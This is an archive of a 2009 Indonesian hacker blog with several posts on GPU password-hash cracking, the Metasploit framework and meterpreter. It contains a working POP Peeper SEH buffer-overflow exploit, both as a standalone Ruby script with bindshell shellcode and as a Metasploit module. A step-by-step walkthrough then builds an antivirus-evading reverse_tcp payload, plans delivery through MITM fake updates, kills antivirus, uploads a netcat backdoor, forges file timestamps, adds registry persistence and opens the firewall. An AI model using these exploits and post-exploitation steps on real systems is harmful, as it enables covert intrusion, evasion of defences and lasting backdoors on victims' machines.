Archive for March, 2009

*Toket, t0keT, tOk3t* CFP

Sunday, March 29th, 2009

Masih ingat dengan cerita ini? atau search engine berikut ini? well, dalam rangka mempertahankan posisi pada urutan pertama, maka sekali lagi kami mengeluarkan CFP untuk TOKET (Terbitan Online Kecoak Elektronik) yang direncanakan terbit awal Juni 2009.

Kami sadar bahwa kalian menunggu tulisan tangan dan hasil riset kami (f*ck, d*rn, narzism), namun akan jauh lebih menyenangkan jika bisa melihat beberapa tulisan dari komunitas/individu lain masuk dalam daftar eZine yang akan datang.

Please find the Call For Paper from here.

Cheers!

UFM6IEthbWkganVnYSB0ZXJ0YXJpayBkZW5nYW4gY2VyaXRhLWNlcml0YSBzZXB1dGFyIFBFTUlM
VSwgamlrYSBhZGEgeWFuZyBtZW1pbGlraSBjZXJpdGEgc2VydSBiYWlrIGRhcmkga2FsYW5nYW4g
dW5kZXJncjB1bmQgbWF1cHVuIGdvc2lwIG1lbmdlbmFpIHNpc3RlbSBQRU1JTFUgeWFuZyBoYXJn
YW55YSA8YSBocmVmPSJodHRwOi8vd3d3Lm1haWwtYXJjaGl2ZS5jb20veW9neWFmcmVlLXBlcmp1
YW5nYW5AeWFob29ncm91cHMuY29tL21zZzEwNjgwLmh0bWwiPjE3KyB0cmlseXVuPC9hPiBzaWxh
aGthbiBpa3V0IGRpa2lyaW1rYW4uIE5vLCB3ZSdyZSBub3QgYWZmaWxpYXRlIHRvIEdvdmVybm1l
bnQh

.gpu pull away ur cpu.

Saturday, March 28th, 2009

.so bring it on, gpu “graphics processing unit” istilah yang cukup sering di dengar dalam industri graphic card dikarenakan vga sekarang ini,menerapkan proses komputasi secara terpisah dengan cpu. nvidia dengan cuda-nya,ati dengan ati stream-nya dan dalam perkembangan gpu menerapkan sistem multi core. 240 core [at] nvidia gt 280, cpu sendiri hanya 2/4 core yang umum beredar.

.walau dalam tujuan komersial, pihak rusia mulai menerapkan gpu dalam proses cracking. dari kubu open source ada beberapa project yang menarik dari pyrit sampai CUDA-Multiforcer. dimana juga menerapkan gpu dalam proses crackingnya. gpu cracking lebih menitik beratkan ke cuda dimana dukungan driver dari nvidia lebih baik.
.let’s join our class.

.in wind#ws with BarsWF MD5.
.barsWF melakukan proses bruteforce terhadap single hash md5 dengan bantuan gpu. akhir-akhir ini bahkan sering digunakan sebagai ajang benchmark sebuah mesin.

.–with gpu–.

+-----------------------------------------------------------+
? BarsWF MD5 bruteforcer v0.8 ?       http://3.14.by/en/md5 ?
? by Svarychevski Michail             http://3.14.by/ru/md5 ?
?-----------------------------------------------------------?
?    GPU0:  243.92 MHash/sec     CPU0:   42.92 MHash/sec    ?
?                                CPU1:   36.80 MHash/sec    ?
?                                                           ?
?    GPU*:  243.92 MHash/sec     CPU*:   79.72 MHash/sec    ?
?-----------------------------------------------------------?
? Key: %?u*q                Avg.Total:  314.76 MHash/sec    ?
? Hash:2E86E42F251DC797E33C41674AF40053                     ?
? Progress: 90.84 % ETC    0 days  0 hours  0 min  1 sec    ?
+-----------------------------------------------------------+
-- Key is: d0tZ-??-------------------------------------------
found at 12second

.–doesn’t with gpu–.

+-----------------------------------------------------------+
? BarsWF MD5 bruteforcer v0.8 ?       http://3.14.by/en/md5 ?
? by Svarychevski Michail             http://3.14.by/ru/md5 ?
?-----------------------------------------------------------?
?                                CPU0:   41.65 MHash/sec    ?
?                                CPU1:   42.87 MHash/sec    ?
?                                                           ?
?    GPU*:    0.00 MHash/sec     CPU*:   84.52 MHash/sec    ?
?-----------------------------------------------------------?
? Key: U(tjt                Avg.Total:   80.38 MHash/sec    ?
? Hash:2E86E42F251DC797E33C41674AF40053                     ?
? Progress: 90.57 % ETC    0 days  0 hours  0 min  5 sec    ?
+-----------------------------------------------------------+
-- Key is: d0tZ-??-------------------------------------------
found at 54second

.seperti yang dapat dilihat, penggunaan tanpa proses gpu memakan waktu 4.5 kalinya daripada proses pertama.

$ lspci | grep -i vga
01:00.0 VGA compatible controller: nVidia Corporation G94 [GeForce 9600 GT] (rev a1)

$ lspci -v -s 01:00.0
01:00.0 VGA compatible controller: nVidia Corporation G94 [GeForce 9600 GT] (rev a1)
Flags: bus master, fast devsel, latency 0, IRQ 16
Memory at fa000000 (32-bit, non-prefetchable) [size=16M]
Memory at c0000000 (64-bit, prefetchable) [size=512M]
Memory at f8000000 (64-bit, non-prefetchable) [size=32M]
I/O ports at af00 [size=128]
[virtual] Expansion ROM at fb000000 [disabled] [size=512K]
Capabilities: [60] Power Management version 3
Capabilities: [68] Message Signalled Interrupts: Mask- 64bit+ Queue=0/0 Enable-
Capabilities: [78] Express Endpoint, MSI 00
Capabilities: [b4] Vendor Specific Information
Capabilities: [100] Virtual Channel
Capabilities: [128] Power Budgeting
Capabilities: [600] Vendor Specific Information
Kernel driver in use: nvidia
Kernel modules: nvidia, nvidiafb

.in linux with CUDA-Multiforcer.
.mensupport hash md4,md5 dan ntlm, bahkan proses bruteforce lebih cepat untuk huge hashlist. daripada BarsWF yang berjalan pada paltform wind#ws, blame micros#ft.

$ ./CUDA-Multiforcer -c charsets/charsetfull -f
test_hash_files/testhash.txt --min 5 --max 5 -h MD5
Launching 64-bit binary
Cryptohaze.com CUDA Multiforcer (multiple hash brute forcer)
by Bitweasil
Version 0.61 beta, length 0-14
Currently supported hash types: MD5 MD4 NTLM
Hash type: MD5
CUDA Device Information:
Device 0: "GeForce 9600 GT"
Number of cores:                               64
Clock rate:                                    1.60 GHz
Charset loaded (96 characters)
Hashes loaded (2 hashes)
Launching kernel for password length 5
Done: 54.44%  Step rate: 166.1M/s Search rate: 332.1M/sec
MD5 : 6BC018C635FC7251BC25D0E11984021E: 'h4X0r'    0x6834583072
Done: 94.62%  Step rate: 168.3M/s Search rate: 336.5M/sec
MD5 : 2E86E42F251DC797E33C41674AF40053: 'd0tZ-'    0x6430745A2D
Done: 98.64%  Step rate: 168.3M/s Search rate: 336.5M/sec

------------------------------------------

Compute done: Reference time 48.6 seconds
Stepping rate: 167.8M MD4/s
Search rate: 335.5M NTLM/s

.in linux with pyrit.
.wifoo freak, pyrit bergerak dalam wpa & wpa2 hash table generation. fleksibel, output bisa digunakan bersama cow patty dan airolib-ng.

$ ./pyrit benchmark
Pyrit 0.2.2 (C) 2008, 2009 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

The ESSID-blobspace seems to be empty; you should create an ESSID...

Running benchmark for at least 60 seconds...

CUDA-Device #1 'GeForce 9600 GT': 3176.95 PMKs/s, 98.14% occupancy
CPU-Core (x86): 259.89 PMKs/s, 98.33% occupancy

Benchmark done. 3436.84 PMKs/s total.

.*tested [on] e2160@2.7Ghz,4 gb ram and nvidia 9600gt.

.bila diterapkan secara distribusi seperti pada ezine sebelumnya.
.keeewwlll house of cracking will be born.

.gamer freak or hash freak, once again make ur choice,

.EOF–

Squirrel Shell, Portability Scripting Language.

Friday, March 20th, 2009

very interesting…, itu yang pertama kali yang ada dibenak saya ketika membaca tulisan ini. Anda tidak perlu menulis ulang script yang telah anda buat di sebuah system ketika anda sudah membuatnya di system yang lain.Yap, portability, itu salah satu tujuan utama project ini dibuat. silahkan check disini untuk keterangan lebih lengkap.

Happy Scripting,

jackD

Metasploit’s LIB

Thursday, March 19th, 2009

Baru-baru ini saya membaca blog dari Matasano setelah cukup lama mereka ‘idle’ dari menulis blog. Blog yang ditulis oleh eric monti tersebut cukup menarik, intinya adalah membahas penggunaan Ruby sebagai tools untuk proses penetration testing. Silahkan dibaca secara lengkap mengenai tools tersebut.

Well, eric monti bukan yang pertama. Semakin banyak pihak (baik individu maupun team) yang menggunakan ruby dalam bidang security saat ini, alasan utama karena ruby powerfull dan membuat nyaman programmer saat menyusun barisan-barisan code. Ronin juga termasuk salah satu pengikut aliran ruby untuk penetration tools.

Pengikut aliran fanatisme yang kebetulan penggila metasploit biasanya akan berpikir bahwa project-project lain hanya berusaha mengikuti jejak metasploit, ataupun minimal terinspirasi oleh project metasploit. Dan HDM pernah menyebutkan bahwa metasploit di klaim sebagai project ruby terbesar saat ini.

Saya pribadi tidak begitu peduli dengan berbagai macam aliran atau fanatisme, namun cukup yakin bahwa metasploit merupakan framework opensource terlengkap dalam hal pengembangan exploit untuk saat ini. Walaupun bagi para security consultan yang sudah mencicipi lezatnya core impact ataupun immunity canvas akan menilai bahwa metasploit framework berusaha mengikuti jejak kedua project tersebut, tetap saja pengaruh opensource pada suatu project akan memberikan peningkatan kreativitas yang signifikan. Alasannya jelas karena opensource mendapatkan ide-ide kreativitas dari masyarakat seluruh dunia.  Oke, cukup bicara mengenai perbandingan.

Kita sering melihat pada berbagai forum ataupun mailing list dibahas mengenai metasploit sebagai alat untuk exploitasi. Updatenya ditunggu-tunggu, apalagi versi barunya. Sebetulnya tidak salah, namun itu berarti kita hanya memanfaatkan sebagian dari kemampuan penuh metasploit framework. Kita hanya memanfaatkan ‘metasploit’-nya, belum ‘framework’-nya.

Mungkinkah karena tidak ada lagi hal yang membuat seseorang menjadi tertantang untuk melakukan eksplorasi? Inikah hasil dari kemudahan konsep framework dan object-oriented programming?

- Taken from somewhere -

Hm, agree, but not fully.

Bentuk framework memang berpotensi untuk menyesatkan para pendatang baru, namun merupakan suatu seni tersendiri bagi yang tertarik untuk memanfaatkannya secara penuh. Sistem operasi dan Aplikasi user saat ini berkembang semakin baik, terutama dalam hal security. Ini merupakan hasil dari ’security through obscurity’. Jika jaman dahulu bugs stack-overflow bertaburan dimana-mana dan untuk exploitasi nya cukup dengan sedikit utak-atik, maka saat ini bugs tersebut tidak dapat dengan mudah ditemukan dan di exploitasi begitu saja. Sudah ada /SafeSEH, /GS, ASLR, dsb yang membuat proses riset penemuan serta exploitasi bugs overflow menjadi jauh lebih sulit dari 10 tahun yang lalu.

Jika jaman dahulu shellcode bisa dikategorikan layer paling tinggi atau proses akhir dari suatu exploitasi, maka saat ini shellcode masuk pada kategori layer menengah kebawah. Dalam arti dibutuhkan metode-metode logical yang lebih kompleks dan kreativ untuk dapat membuat shellcode-shellcode tersebut  dieksekusi oleh target. Dengan adanya framework, ataupun object-oriented, maka kita dapat lebih memfokuskan diri pada pengembangan metode-metode logical serangan yang lebih tinggi dan lebih kreatif sementara hal-hal statis lainnya (shellcode, assembly, remote connection, dll) di urus oleh framework. Dan bentuk framework yang seperti layering ini juga memudahkan pengembangan pada layer-layer bagian bawah dimana kita dapat menambahkan kapan saja metode-metode ataupun jenis shellcode yang akan digunakan.

Ada berbagai macam contoh framework saat ini, namun kita hanya akan memfokuskan pada metasploit sebagai framework opensource yang sangat berpengaruh di dunia security saat ini.

Penjelasan detail mengenai dalemannya metasploit framework bisa ditemukan pada dokumentasi bawaan metasploit, namun untuk memahami secara mendalam kita harus bisa membaca isi dari code-code ruby didalamnya.

lib$ ls
bindata		metasm.bak	net		packetfu.rb	rex.rb		scruby.rb	zip
bindata.rb	metasm.rb	ole		rabal		rex.rb.ts.rb	telephony
metasm		msf		packetfu	rex		scruby		telephony.rb

Contoh diatas menunjukan isi direktori LIB dari metasploit framework. Dan bagi para programmer akan langsung bisa melihat bahwa direktori LIB tersebut berisi ribuan code yang dapat dimanfaatkan oleh script-script ruby standalone. Termasuk diantaranya beberapa contoh feature-feature ‘rbkb’ buatan eric monti diatas, seperti encoding/decoding. Dengan memanfaatkan library-library siap saji tersebut maka kita dapat membuat beragam tools, bahkan dapat juga dimanfaatkan untuk mengembangkan aplikasi-aplikasi lain diluar konteks security.

Namun tentu saja kemampuan metasploit akan sangat berguna dalam proses pengembangan exploit, terutama untuk membuat exploit tersebut lebih reliable. Metasploit juga dapat digunakan untuk mempercepat proses porting berbagai macam public exploit.


#!/usr/bin/env ruby

$:.unshift(' ../lib ')

require 'rex'

# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)
sc =  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +
      "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +
      "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +
      "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +
      "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" +
      "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" +
      "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" +
      "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" +
      "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" +
      "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" +
      "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" +
      "\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" +
      "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" +
      "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" +
      "\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" +
      "\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" +
      "\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" +
      "\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" +
      "\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" +
      "\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" +
      "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" +
      "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" +
      "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" +
      "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" +
      "\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" +
      "\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" +
      "\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" +
      "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" +
      "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" +
      "\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" +
      "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" +
      "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" +
      "\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" +
      "\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" +
      "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" +
      "\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" +
      "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" +
      "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" +
      "\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" +
      "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" +
      "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" +
      "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" +
      "\x4f\x4f\x42\x4d\x5a"

nextseh = Rex::Arch.pack_addr(ARCH_X86, 0x909006EB)
seh = Rex::Arch.pack_addr(ARCH_X86, 0x10014E39)
nop = "\x90"

sock = Rex::Socket::TcpServer.create('LocalPort' => '110')
chld = sock.accept

chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK 1 100\r\n")
chld.get
chld.write("+OK\r\n1 " + "A" * 1072 + "#{nextseh}" + "#{seh}" + "#{nop}" * 32 + "#{sc}" + "\r\n.\r\n")

Contoh diatas memperlihatkan penggunaan metasploit secara ‘kotor’ yang merupakan porting dari Milw0rm. Public exploit dari milw0rm tersebut cukup reliable dengan memanfaatkan SEH serta pop+pop+ret dari library bawaan poppeer. Namun dengan integrasi pada framework metasploit, kita dapat menambahkan lebih banyak feature seperti beragam payload/shellcode, integrasi dengan meterpreter sebagai salah satu feature untuk post-exploitation method, automatic backdoor installation, hingga me-register SEH secara langsung untuk mendapatkan hasil yang lebih reliable. Berikut salah satu contoh bentuk model yang telah di porting dan di integrasikan kedalam metasploit (based on MC’s):

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
		super(update_info(info,
			'Name'           => 'POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit',
			'Description'    => %q{
                        POP Peeper is vulnerable to a remote buffer overflow vulnerability.This vulnerability is exploitable on the client side.
                        A vulnerable POP Peeper user must connect to an exploitation server and attempt to use retrieve mail to be affected.

                        To trigger this vulnerability, POP Peeper has to connect to an exploitation server acting as a POP3 daemon.
                        POP Peeper then uses the UIDL command to get unique IDs for each email it later plans on retrieving.
                       The exploitation server can send an oversized ID (1040 bytes), overflowing a buffer on the stack, giving the attacker
                       complete control over the process.

                       POP Peeper 3.4.0.0 was confirmed vulnerable. All versions of below 3.4.0.0 and are suspected vulnerable as well.

			},
			'Author'         => 'Based on MC\'s and Krakow Labs',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					['MIL', '8117'],
					['URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt']
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment' => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['POP Peeper v3.4.0.0', { 'Ret' => 0x10014E39 } ]
				],
			'DisclosureDate' => 'Feb 27 2009',
			'DefaultTarget'  => 0))

			register_options(
			[
			  OptPort.new('SRVPORT', [ true, "The POP daemon to listen on", 110])
			], self.class
			)

	end

	def on_client_connect(client)
	  client.write("+OK\r\n")
  end

	def on_client_data(client)

	  # Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)

    client.write("+OK\r\n")
    client.get_once
    client.write("+OK\r\n")
    client.get_once
    client.write("+OK 1 100\r\n")
    client.get_once

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
    client.write("+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n")

    handler

    service.close_client(client)

  end

end

Pihak underground dapat memanfaatkan framework metasploit sebagai ‘ebook’ dalam mempelajari beragam tehnik dan teknologi eksploitasi, white hat / security consultant dapat memanfaatkan framework metasploit untuk mempercepat proses penetration testing ataupun pengembangan eksploit, blackhat / para developer automatic tools semacam MPack dan ICEpack dapat memanfaatkan beragam shellcode ataupun assembly code dari metasploit untuk dimasukan kedalam modul-modul 0day miliknya. Inilah salah satu seni kehebatan opensource.

Everybody can learn and get benefit of a framework, isn’t it? ;)

Fresh Meat: d0tz

Tuesday, March 3rd, 2009

Another fresh meat out from the oven. Play with meterpreter stuff explanation was his new appeareance on the blog.

Welcome to d0tz, a boy who hates an ordinary thing.

Conficker Analysis

Sunday, March 1st, 2009

Pembahasan cukup mendalam tentang worm conficker bisa dilihat dari http://mtc.sri.com/Conficker. Banyak yang berpendapat bahwa codered merupakan worm paling fenomenal dalam dunia windows, tapi saat ini banyak yang kagum dengan mekanisme Conficker (entah itu memang sudah lama di dunia worm/trojan atau conficker yang pertama kali implementasi) untuk mencari malicious server yang hosting malicious content untuk di download, mekanisme nya cukup unik karena algoritma yang digunakan memanfaatkan perhitungan waktu (tanggal dan jam). Dengan mekanisme ini botnet korban conficker lebih sulit untuk di track oleh para bot hunter profesional.

.cheat sheat linux.

Sunday, March 1st, 2009

.dummies about linux??.

.here few cheat sheet tentang command shell di linux,unix.

.happy,kiddo…

make ur choice;

EOF–

.fun and profit with meterpreter.

Sunday, March 1st, 2009

.so lets make ur choice kiddo,dengan mengacu sebelumnya pada artikel.

.meterpreter non encode.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 X > meterpreter_1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LHOST=192.168.0.12,LPORT=455

http://www.virustotal.com/analisis/4b0a655b264b23b2f4dab74688c8890e
Result: 1/39

.meterpreter with encode XOR.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 R | ./msfencode -e x86/shikata_ga_nai -b '' -t exe -o meterpreter_2.exe
[*] x86/shikata_ga_nai succeeded, final size 306

http://www.virustotal.com/analisis/cbb1cf1a7ce9943c5d8d15f210da8361
Result: 0/39 (0%)

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.12
LHOST => 192.168.0.12
msf exploit(handler) > set LPORT 455
LPORT => 455
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

.next move is critical,well sekarang attacker membuat target agar mengeksekusi meterpreter_2.exe sebeneranya ini tergantung imajinasi anda sendiri.
.penulis sendiri memilih ettercap sebagai jembatan menggunakan metode MITM. bisa dengan ettercap filter yang akan membuat popup setiap target melakukan browsing.
.ataupun dengan kombinasi evilgrade( www.infobyte.com.ar )+ettercap dengan DNS spoofing secara tidak langsung akan mengelabui target untuk melakukan fake patch
untuk beberapa program yang ada di evilgrade exam: winamp,winzip,notepad++ bisa juga menambahkan modul tersendiri di evilgrade; firefox ataupun thunderbird (-.-)”.

.setelah target mengeksekusi meterperter_2.exe.

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.0.12:455 -> 192.168.0.5:1037)

meterpreter > sysinfo
Computer: PENTEST3
OS      : Windows XP (Build 2600, Service Pack 3).

.with remote desktop.
.there is for Virtual Network Computing look, im prefer CLI than GUI (^^)V.

meterpreter > run getgui
-----------------passing------------------------

.kill AV.
meterpreter > run killav
[*] Killing Antivirus services on the target...

.ok bisa juga dengan mengedit killav.rb untuk menambahkan beberapa list AV tersendiri.

neo@b0x:~# vi /pentest/exploits/framework3/scripts/meterpreter/killav.rb
#
# Meterpreter script that kills all Antivirus processes
# Provided by: Jerome Athias 
#

print_status("Killing Antivirus services on the target...")

avs = %W{
        AAWTray.exe
        Ad-Aware.exe
        MSASCui.exe
        _avp32.exe
        _avpcc.exe
        _avpm.exe
        aAvgApi.exe
        ackwin32.exe
        adaware.exe
        advxdwin.exe
        agentsvr.exe
        agentw.exe
        alertsvc.exe
        alevir.exe
        alogserv.exe
        amon9x.exe
        anti-trojan.exe
-----------------cut------------------------

windows enumiration

meterpreter > run winemun
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.0.5:1037...
[*] Saving report to /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
[*] Checking if PENTEST3 is a Virtual Machine ........
[*]     This is a VMWare virtual Machine
[*] Running Command List ...
[*]     running command cmd.exe /c set
[*]     running command arp -a
[*]     running command ipconfig /all
[*]     running command ipconfig /displaydns
[*]     running command route print
[*]     running command net view
[*]     running command netstat -nao
[*]     running command netstat -vb
[*]     running command netstat -ns
[*]     running command net accounts
[*]     running command net accounts /domain
[*]     running command net session
-----------------cut------------------------

example output winenum

neo@b0x:~# cat /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
Date:       2009-02-16.02:17:48
Running as: PENTEST3\pentest3
Host:       PENTEST3
OS:         Windows XP (Build 2600, Service Pack 3).

This is a VMWare virtual Machine

*****************************************
      Output of cmd.exe /c set
*****************************************
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\pentest3\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=PENTEST3
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\pentest3
LOGONSERVER=\\PENTEST3
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 13, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f0d
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
TMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
USERDOMAIN=PENTEST3
-----------------cut------------------------

.bagaimana bila winemun ruby dalam framework3/scripts/meterpreter/winenum.rb.
.penulis lakukan modifikasi hingga yang di dump adalah my document bukan lagi registry ^_^V.

.netcat as backdoor.
.swiss army knife menggunakan TCP dan UDP dalam melakukan koneksi,penulis akan membahas penggunaan backd00r dalam wind#ws b0x.
.walaupun banyak antivirus menggangap netcat sebagai hacktool .

meterpreter > use priv
Loading extension priv...success.

meterpreter > upload /tmp/system32.exe C:\\windows\\system32\\
[*] uploading  : /tmp/system32.exe -> C:\windows\system32\
[*] uploaded   : /tmp/system32.exe -> C:\windows\system32\\system32.exe

.change file times.

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Tue Feb 24 20:27:49 -0500 2009
Accessed      : Thu Feb 26 09:29:39 -0500 2009
Created       : Tue Feb 24 20:27:49 -0500 2009
Entry Modified: Thu Feb 26 09:29:39 -0500 2009

meterpreter > timestomp C:\\windows\\system32\\system32.exe -b
[*] Blanking file MACE attributes on C:\windows\system32\system32.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -f C:\\windows\\system32\\cmd.exe
[*] Setting MACE attributes on C:\windows\system32\system32.exe from C:\windows\system32\cmd.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Sun Apr 13 18:42:16 -0400 2008
Accessed      : Sat Feb 28 05:06:19 -0500 2009
Created       : Thu Aug 23 08:00:00 -0400 2001
Entry Modified: Sat Feb 28 05:06:19 -0500 2009

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (3):

        SunJavaUpdateSched
        VMware Tools
        VMware User Process

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
Successful set system32.

meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: system32
Type: REG_SZ
Data: C:\windows\system32\system32.exe -Ldp 455 -e cmd.exe

.bypass XP default firewall.
.ada 2 metode dalam baypass firewall dari XP,dengan registry ataupun dengan network shell.

.with registry edit.

meterpreter > reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
Enumerating: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list

No children.

meterpreter > reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32 -d "C:\WINDOWS\system32\system32.exe:*:Enabled:system32"
Successful set system32.

